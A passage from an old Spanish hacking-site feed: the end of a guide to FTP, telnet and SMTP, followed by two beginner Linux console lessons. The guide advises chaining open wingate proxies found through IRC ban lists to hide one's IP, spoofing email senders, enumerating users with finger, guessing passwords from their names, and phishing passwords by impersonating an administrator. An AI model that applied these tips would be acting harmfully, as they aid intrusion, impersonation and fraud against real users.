<p>Bueno, a lo que íbamos. Aquí está el resto del trabajo. No creo que necesite más explicación que la que ya tiene entre los símbolos /* y */.</p>
<p>lcd /mipagina /*cambia el directorio local actual a /mipagina, que es donde se supone que tenemos guardada la página. Los usuarios de windows tendrán que usar la barra invertida &#8216;\&#8217;*/</p>
<p>put index.html /*sube el archivo index.html. Como los html son archivos de texto no hace falta cambiar el modo. Si tuvieras problemas, cambia al modo binary*/</p>
<p>mkdir imagenes</p>
<p>cd imagenes /*crea el subdirectorio imagenes y se cambia a él (todo en la máquina remota*/</p>
<p>binary /*cambia a modo binario (vamos a subir la imagen) (esto no es necesario si usamos un programa de ftp, sí lo es si no lo usamos)*/</p>
<p>put imagen.jpg</p>
<p>ascii /*vuelve a cambiar al modo ascii (porque vamos a comprobar que todo está bien, y necesitamos recibir la información en modo texto (ascii)) (esto no es necesario si usamos un programa de ftp, sí lo es si no lo usamos)*/</p>
<p>ls /*comprueba que la imagen está en su sitio*/</p>
<p>quit /*salimos*/</p>
<p>*********************************************************</p>
<p>4.- TELNET</p>
<p>4.a Teoría</p>
<p>Primero creo que hay que distinguir entre un programa de telnet y el protocolo telnet. Un programa cliente de telnet es un emulador de terminal (teclado + monitor) con el que nos podremos conectar con nuestro ordenador a otro y utilizarlo como si nuestro programa fuera un terminal de la máquina lejana. Es decir, es el que nos permitirá conectar a cualquiera de los puertos abiertos de un sistema para aprovecharnos de sus servicios. Prácticamente todos los s.o. traen uno. Tanto en Linux como en win se llaman igual: telnet.</p>
<p>También hay otros programas que hacen eso. Uno de los más conocidos es el CRT (para win), que podréis encontrar en shareware.com, entre otros muchos lugares.</p>
<p>Y el protocolo telnet es un protocolo orientado a ejecutar programas en una máquina remota. Nosotros le enviamos la información al programa de la máquina lejana mediante el teclado, el programa la procesa en la máquina lejana, y recibimos el resultado en nuestra pantalla. Es decir, este protocolo está orientado a la ejecución de programas en la máquina lejana.</p>
<p>¿Y cómo más podemos utilizarlo? Pues nos puede servir para encontrar y utilizar un proxy con el que anonimizarnos más.</p>
<p>4.b Práctica</p>
<p>Si queréis ver una muestra de cómo se pueden ejecutar programas en una máquina lejana, podéis probar con éstos:</p>
<p>eucmvx.sim.ucm.es (login: biblioteca) &lt;&#8211; Catálogo de la universidad complutense de Madrid</p>
<p>babel.uab.es &#8212; Catálogo de la universidad autónoma de Barcelona</p>
<p>chess.unix-ag.uni-kl.de (puerto: 5000) &lt;&#8211; Jugl.de (puerto: 5000) &lt;&#8211; Jugar al ajedrez contra otros usuarios</p>
<p>Para conectar con ellos en Linux debéis escribir &#8216;telnet servidor&#8217; si se usa el puerto 23 (los que no he puesto nada) o &#8216;telnet servidor puerto&#8217; si se usa otro puerto diferente. P.e.: &#8216;telnet babel.uab.es&#8217; ó &#8216;telnet babel.uab.es 23&#8242;</p>
<p>En windows, iniciad vuestro programa de telnet preferido, y en el menú de conexión escribid el nombre y el puerto (dejad telnet si es el 23). Dejad el tipo de terminal en vt-100. Si no veis lo que escribís, habilitad el eco (estará en el cuadro de opciones o similar)</p>
<p>Para utilizar un proxy wingate para anonimizarnos, primero tendremos que conseguir una lista de posibles proxys conectables. Para ello, vamos al IRC y escribimos &#8216;/raw stats glines&#8217;. Esto nos dará una lista de gente que ha sido baneada. Nos quedaremos con los que en el motivo de ban ponga algo de &#8216;proxy abierto&#8217; o similar. Nos vamos al programa de telnet y probamos con uno.</p>
<p>Si no nos deja conectar, o no dice nada al conectar, pasamos al siguiente. Si nos contesta con el prompt &#8216;wingate&gt;&#8217;, ¡felicidades! has encontrado un wingate.</p>
<p>Con él podrás conectarte a otro sitio sin dejar tu verdadera IP (quedará guardada en el sitio de la conexión la IP del wingate, y la tuya quedará reflejada en el wingate).</p>
<p>Hay algunos wingates que no guardan logs (archivos en los que quedan reflejadas todas las conexiones). Éstos das las conexiones). Éstos son los que deberemos conseguir encontrar. El problema es que no hay forma de saber si un sitio guarda o no logs. Por eso es conveniente conectarse a dos o más consecutivamente. Con esto aumentan las posibilidades de encontrarse uno que no guarde logs, aunque la velocidad disminuye.</p>
<p>Una vez conectado a un wingate, para conectarnos a otro o a cualquier otra parte tendremos que poner &#8216;open servidor puerto&#8217;.</p>
<p>*****************************************************************</p>
<p>5.- SMPT (envío de e-mails)</p>
<p>5.a Práctica</p>
<p>Creo que lo mejor para ver cómo funciona el envío de e-mails es enviandolos &#8216;a mano&#8217;.</p>
<p>Para esto abriremos nuestro programa de telnet, y conectaremos con nuestro servidor de smtp, que estará en el puerto 25. P.e.: telnet smtp.wanadoo.es 25</p>
<p>Después de los mensajes de bienvenida, y para enviar un mail, escribimos:</p>
<p>mail from: Nadie &lt;nadie@ningunsitio.com&gt;, o bien:</p>
<p>mail from: nadie@ningunsitio.com</p>
<p>La diferencia es que en el primer caso saldrá en el programa de correo empleado para leer nuestro mail que ha sido enviado por Nadie, mientras que en el segundo caso habrá sido enviado por nadie@ningunsitio.com.</p>
<p>Hay algunos servidores que requieren que el servidor que hay detrás de la @ exista. En ese caso basta con poner un servidor que exista (no necesariamente nuestue exista (no necesariamente nuestro <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  )</p>
<p>Para designar el receptor:</p>
<p>rcpt</p>
<p>to: Amigo &lt;amigo@nuestro.es&gt; (rcpt significa recipient)</p>
<p>Ahora viene el cuerpo del mensaje. Le decimos al servidor que queremos introducirlo escribiendo:</p>
<p>data</p>
<p>Si no ponemos nada, la primera línea será el subject, luego tendremos que dejar una línea en blanco, y el resto el cuerpo del mensaje. Finalizaremos con un puntito sólo en una línea.</p>
<p>Pero también podemos poner nuestras propias cabeceras. Como las únicas obligatorias son el from, el to, y el Received (que lo pone el servidor y no podemos modificar), las demás nos las podemos inventar, o copiar de las que ponen los programas de correo. Esto incluye, entre otras, la fecha. Seguramente el servidor la incluirá por otro lado, pero puede ayudar a sembrar la confusión <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . La última que debemos poner debe ser el subject: , y a partir de esa ya vendrá el mensaje.</p>
<p>5.b Remailer anónimos</p>
<p>Son los servidores de correo saliente que no incluyen la IP del que la envía. Podemos saber si un servidor es o no un remailer anónimo con el comando helo. Ponemos:</p>
<p>helo cualquiercosa</p>
<p>Si nos contesta con:</p>
<p>Helo (nuestronombreenlared) [(nuestraip)] please to meet you.</p>
<p>ya nos podemos olvidar, porque no es un remailer anónimo. Si en la contestación no se incluye nuestra IP, seguramente sí lo será. Podemra IP, seguramente sí lo será. Podemos comprobarlo enviando un mensaje y comprobando si la incluye.</p>
<p>El comando helo es conveniente utilizarlo al conectar a un servidor smtp. No es necesario, pero si no lo usamos en las cabeceras del mensaje se incluirá un warning (advertencia) de que somos unos maleducados que no saludamos <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> .</p>
<p>También se llama remailer anónimo a cierto servicio en la red, al que nosotros dirigimos nuestros mensajes, y ellos eliminan el campo From y lo redirigen al receptor original.</p>
<p>Ninguno de estos dos sistemas es completamente anónimo, ya que si hacemos alguna &#8216;guarrerida&#8217; y a los MIG les da por investigar, como nuestra entrada en estos servidores ha quedado registrada, no tendrán mucha dificultad para seguir el rastro.</p>
<p>********************************************************</p>
<p>6.- OTRAS CUESTIONES DE INTERÉS</p>
<p>-¿Cómo podemos hacer todo esto off-line?</p>
<p>Pues teniendo instalados los programas servidores de cada servicio.</p>
<p>No sé qué programas hay para windows, ni su utilización, así que no me voy a meter ahí. Lo que sí tenéis que tener en cuenta es que estos programas son comerciales, con lo que tendréis que comprarlos (y no serán baratos precisamente) o conseguirlos de otra forma (no diré cuál XDDD )</p>
<p>En linux lo tenemos muchísimo más fácil, ya que casi todos los programas necesarios son gratuitos, y se suelen inos son gratuitos, y se suelen incluir e instalar por defecto en la mayoría de las distribuciones. Además, son los programas usados mayoritariamente en internet, como el servidor web Apache, el servidor smtp Sendmail, el servidor de news Leafnode o el servidor ftp wu-ftpd.</p>
<p>Si los tenemos instalados y configurados correctamente (consulta las páginas de manual y los how-to adecuados a cada caso), debemos asegurarnos de que su puerto está abierto. Los servicios ofrecidos están en el archivo /etc/inetd.conf. Descomentamos (quitamos el símbolo # de delante) las líneas referidas al servicio que queramos ofrecer, y lo reiniciamos poniendo &#8216;/sbin/init.d/inetd restart&#8217; (en el caso de la distribución suse. Para otras distribuciones podemos consultar las primeras líneas del archivo en busca del comando a utilizar, y, si no lo encontramos, con el comando find buscar el archivo inetd (find / -name inetd) y scribir el directorio equivalente a /sbin/init.d).</p>
<p>Si lo hemos hecho correctamente, ya nos podremos conectar con nosotros mismo, poniendo como servidor &#8216;localhost&#8217;, p.e.: telnet localhost 25, para practicar con el sendmail.</p>
<p>6.a Otros puertos de interés</p>
<p>-Netstat</p>
<p>Uso: netstat (servidor)</p>
<p>Nos da mucha información sobre las conexiones del sistema, y puertos &#8216;listening&#8217; (puertos abiertos y escuchando, que nos pueden ahorrar un escaneo de puertos). La función de este puertos). La función de este puerto es la de hacer estadísticas sobre la red.</p>
<p>-Systat</p>
<p>Uso: telnet (servidor) systat</p>
<p>Nos da información sobre los procesos que se están ejecutando en la máquina remota. Con esta información podemos, entre otras cosas, buscar exploits para estos programas</p>
<p>-Finger</p>
<p>Uso: telnet (servidor) (usuario)</p>
<p>Nos da información sobre los usuarios de un sistema. Sin el parámetro usuario nos mostrará todos los que haya conectados en ese momento (no es normal que lo haga a menos que seas root). La información que da es:</p>
<p>login de usuario</p>
<p>nombre completo del usuario</p>
<p>directorio personal</p>
<p>shell que utiliza</p>
<p>última conexión (o si está conectado o si nunca se ha conectado) y desde dónde si tiene correo por leer</p>
<p>Si no te da la lista de usuarios conectados sin dar nombre, además de probar el finger con el root para ver sobre todo cuándo se conecta, puedes probar &#8216;a ciegas&#8217;. Si están en una máquina española puedes probar con logins como juan, jose, pedro, jlopez&#8230; y en una máquina americana con logins como john, mike, smith&#8230; Es casi seguro que hay algún usuario llamado así. ¡Ten en cuenta la nacionalidad del servidor, no vayas a probar jose en un servidor japonés!</p>
<p>Con esta información podemos intentar adivinar una contraseña, teniendo en cuenta que la mayoría de la gente no quiere con la mayoría de la gente no quiere contraseñas difíciles de recordar, y usa una combinación de su nombre y sus apellidos. También puede servir para enviarle un mail a su nombre verdadero pasando por ser el administrador del sistema, intentando convencerle de que te dé su contraseña (esto se llama ingeniería social <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>También puedes ser más sutil, e intentar sacarle su fecha de nacimiento, o la fecha de su boda, o el nombre de sus hijos o de su pareja, o cosas similares que suelen ser muy utilizadas como contraseña.</p>
<p>Y bueno, esto ha sido todo. Espero no haberos aburrido mucho.</li>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/guia-de-telnet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra II</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:07:11 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=149</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra II Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: La pantalla negra II<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Volvemos a enfrentarnos una vez más con el dragón.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Vamos a introducir algunas órdenes, para familiarizarnos un poco con el shell que estamos utilizando,</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
[genaro]$ pwd<br />
/home/genaro<br />
[genaro]$ _</td>
</tr>
</table>
<p>Estas órdenes ya las vimos en la primera parte, si queremos repetir en cualquier otro momento algunas de las órdenes, no hace falta teclearlas de nuevo, usando las flecha de cursor arriba, podemos repetir órdenes que ya hemos tecleado anteriormente, e incluso editarlas.</p>
<p>Sigamos metiendo órdenes, crear directorios, borrarlos, crear ficheros, etc. Llegará un momento, en que el texto desaparezca por la parte superior de la pantalla. La consola, sólo tiene 80 columnas de ancho y 25 líneas de alto, para ver una línea que haya desaparecido, podemos usar la combinación de teclas &quot;Mayúsculas + Retroceso de página&quot; para ir arriba y &quot;Mayúsculas + Avance de página&quot; para ir hacia abajo. Si lo deseamos, podemos ejecutar dos o más órdenes en una misma línea separandolas con el punto y coma, &quot;;&quot;</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir directorio ; ls ; cd directorio ; pwd<br />
directorio<br />
/home/genaro/directorio<br />
[directorio]$ _</td>
</tr>
</table>
<p>A diferencia de lo que ocurre con otros sistemas operativos orientados a caracteres, casi todos los comandos básicos que acepta el shell, son externos, o sea, programas aparte, muchos de esos programas están en el directorio /bin y otros en el directorio /usr/bin Para verlos puede hacer un ls</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ ls /bin<br />
arch date grep mknod<br />
rmdir true ash dd<br />
gtar mktemp rpm umount<br />
&#8230;&#8230;&#8230;&#8230;&#8230;<br />
[directorio]$ _</td>
</tr>
</table>
<p>En cualquier momento, cuando se tenga curiosidad acerca de qué hace un programa determinado, podemos consultar la orden &quot;man&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ man ls<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
LS(1) LS(1)<br />
NOMBRE<br />
ls, dir, vdir &#8211; listan los contenidos de directorios<br />
SINOPSIS<br />
ls [opciones] [fichero...]<br />
Opciones de POSIX: [-CFRacdilqrtu1]<br />
Opciones de GNU (en la forma más corta):<br />
[-1abcd­fgiklmnopqrstuxABCDFGLNQRSUX]<br />
[-w cols] [-T cols]<br />
[-I patrón]<br />
[--full-time] [--format={long,verbose,com­mas,across,vertical,single-column}]<br />
[--sort={none,time,size,extension}]<br />
[--time={atime,access,use,ctime,status}]<br />
[--color[={none,auto,always}]]<br />
[--help] [--version] [--]<br />
DESCRIPCIÓN<br />
El programa ls lista primero sus argumentos no directorios:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</td>
</tr>
</table>
<p>Con las teclas de cursor, nos desplazamos hacia arriba y abajo, para salir pulsar la tecla q. La mayoría de las órdenes aceptan parámetros, los parámetros especifican que cosas debe hacer un programa o como debe funcionar.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ cd .. ; ls -l<br />
drwxr-xr-x 5 genaro users 1024 Jan 13 00:22 directorio<br />
[genaro]$ _</td>
</tr>
</table>
<p><b>TIP 3:</b> Los parámetros en Unix se pasan con el simbolo &quot;-&quot;, a diferencia del DOS que usa el símbolo &quot;/&quot;.</p>
<p>Con el parámetro -l, hemos dicho a ls que liste los ficheros en formato largo, un fichero por línea, dando más información sobre ese fichero. Probad a hacer:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l /usr/bin<br />
-rwxr-xr-x 1 root root 20648 Jul 30 1999 zipsplit<br />
-rwxr-xr-x 1 root root 41 Mar 25 1999 zless<br />
-rwxr-xr-x 1 root root 1068 Mar 25 1999 zmore<br />
-rwxr-xr-x 1 root root 3502 Mar 25 1999 znew<br />
[genaro]$ _</td>
</tr>
</table>
<p>Veremos desplazarse los ficheros rápidamente y se perderán los primeros, este es el momento para prácticar las combinaciónes de teclas &quot;Mays + Re Pag&quot; y &quot;Mays + Av Pag&quot;. Al principio de cada línea, hay una información muy rara, -rwxr-xr-x, la primera letra, indica que tipo de fichero es, si es una &quot;d&quot; es un directorio, y si es el caracter &quot;-&quot; es un fichero ordinario, o sea, un programa, un fichero de texto, un fichero de sonido, un AVI, etc. Si volvemos a hacer un ls -l, vemos que efectivamente, el fichero &quot;directorio&quot; que hemos creado con anterioridad, es un directorio.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l<br />
drwxr-xr-x 5 genaro users 1024 Jan 13 00:22 directorio<br />
[genaro]$ _</td>
</tr>
</table>
<p>Vemos en la tercera columna, la palabra &quot;genaro&quot;, o sea, dice que lo hemos creado nosotros, y como pertenecemos al grupo de trabajo &quot;users&quot;, el fichero también pertenece al grupo &quot;users&quot;. La siguiente columna, 1024, indica el tamaño del fichero, observa el listado de /usr/bin. luego viene la fecha y la hora, y por último el nombre del fichero. Pero volvamos a la primera columna.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>-rwxr-xr-x 1 root root 3502 Mar 25 1999 znew</td>
</tr>
</table>
<p>Sobre el fichero órdinario znew, hay unos permisos de lectura y escritura, vemos que el fichero, pertenece a &quot;root&quot; y es de un grupo de usuarios llamado &quot;root&quot;. Quitamos el primer caracter, que nos dice que tipo de fichero es, y separamos los demás caracteres en bloques de tres.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>rwx r-x r-x</td>
</tr>
</table>
<p>El primer bloque, se aplica sobre el usuario propietario, en este caso &quot;root&quot;, el segundo bloque sobre el grupo propietario, también &quot;root&quot; y el último bloque, a todos los demas. El propietario del fichero, &quot;root&quot;, puede leer &quot;r&quot; , puede escribir en el &quot;w&quot;, incluido el borrado, y puede ejecutarlo como programa, &quot;x&quot;. En nuestro caso, como no somos &quot;root&quot; y somos de otro grupo, &quot;users&quot;, se aplica el tercer bloque, podemos leer el fichero, y podemos ejecutarlo, pero no podemos sobrescribirlo, ni borrarlo, ni hacer ninguna modificación. Esto es una seguridad básica del sistema operativo, en una máquina en la que existan varios usuarios trabajando al mismo tiempo, ninguno podrá modificar los programas ni los ficheros para meter troyanos ni bromas. Supongamos que alguien escribiera un virus para Linux, y lo ejecutamos trabajando como &quot;genaro&quot;, el virus tendría nuestros permisos y no podría borrar los ficheros importantes.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l /etc/shadow<br />
-r&#8212;&#8212;&#8211; 1 root root 745 Dec 22 02:01 /etc/shadow</td>
</tr>
</table>
<p>El fichero /etc/shadow, contiene los passwords de los usuarios, y sólo lo puede leer el usuario &quot;root&quot;. Otro parámetro de ls, es el parámetro -a, con -a listamos también los ficheros ocultos</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -a . .gftp<br />
.twmX8Fmri .. .gimp<br />
.user.rdb Directorio<br />
[genaro]$_</td>
</tr>
</table>
<p>Hay más ficheros ocultos, pero se han omitido por comodidad, los ficheros ocultos en Unix son los que empiezan con un punto, normalmente suelen ser ficheros de configuración. De esos ficheros, hay dos, el fichero &quot;.&quot; y el fichero &quot;..&quot; que son directorios, &quot;.&quot; es el directorio en el que estamos y &quot;..&quot; es el nivel superior, o directorio padre.</p>
<p><b>TIP 4:</b> Cuando usamos más de un parámetro, normalmente se pueden agrupar con un único simbolo &quot;-&quot;</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -alF</td>
</tr>
</table>
<p>Siguiendo con el tema de los parámetros, el shell del sistema operativo, no mete a los programas los parámetros tal y como nosotros se los damos, tiene que mirar si existen unos caracteres especiales llamados metacaracteres. Un metacaracter, es el símbolo &quot;*&quot;, cuando pasamos un asterisco como parámetro a un programa, el sistema operativo lo sustituye por los nombres de todos los ficheros que existen en el directorio.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd directorio<br />
[directorio]$ touch fichero1<br />
[directorio]$ touch fichero2<br />
[directorio]$ cd ..<br />
[genaro]$ mkdir dir2<br />
[genaro]$ touch fichero3<br />
[genaro]$ touch fichero4<br />
[genaro]$ touch fichero5<br />
[genaro] ls *<br />
fichero3 fichero4 fichero5<br />
directorio:<br />
fichero1 fichero2<br />
dir2:<br />
[genaro]$ _</td>
</tr>
</table>
<p>La órden ls * en nuestro caso, equivalía a &quot;ls directorio dir2 fichero3 fichero4 fichero5&quot;. El caracter asterisco, naturalmente también se puede usar como comodín de varios caracteres.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls *.txt</td>
</tr>
</table>
<p>Otro metacaracter es el símbolo &quot;?&quot; que sustituye a un caracter.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls fichero?<br />
fichero3 fichero4 fichero5</td>
</tr>
</table>
<p>Para más información se puede consultar &quot;man bash&quot;. La semana que viene, Mario Brosh</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La pantalla negra I</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:04:54 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=83</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra I Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: La pantalla negra I<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p><b>Requerimientos:</b><br />
Un Linux instalado funcionando con una cuenta de usuario, que se compone de un Login (nombre), y un password (contraseña), Ese Linux debe de arrancar en modo consola, sin las X. Es aconsejable que sea una versión castellanizada con las páginas del manual del proyecto Lucas.</p>
<p>Encendemos el ordenador, apretando a ese botón que pone Power, el sistema operativo arranca, y al cabo de un rato veremos la pantalla de color negro y un mensaje similar a:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login:</td>
</tr>
</table>
<p>¿No ve nada?, compruebe si el pilotito del monitor está encendido, si no es así, pulse el botón gordo. ¿Problema subsanado?, bien empezamos.</p>
<p>Escribimos el login, cada vez que pulsamos una tecla, aparecerá en pantalla el caracter correspondiente,</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro</td>
</tr>
</table>
<p>Y ahora, ¿Como decimos que hemos acabado de introducir el nombre?, con la tecla &quot;Intro&quot; que está en el teclado numérico, el de la derecha, debajo de la tecla &quot;+&quot;. Un equivalente a este tecla es la tecla gorda que tiene una flecha en forma de L apuntando a la izquierda, la que está justo encima de la tecla de mayúsculas izquierda. Esta tecla también se llama retorno de carro, o CR de &quot;Carriage Return&quot;.</p>
<p>Despues de introducir el login, nos pide el password.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:</td>
</tr>
</table>
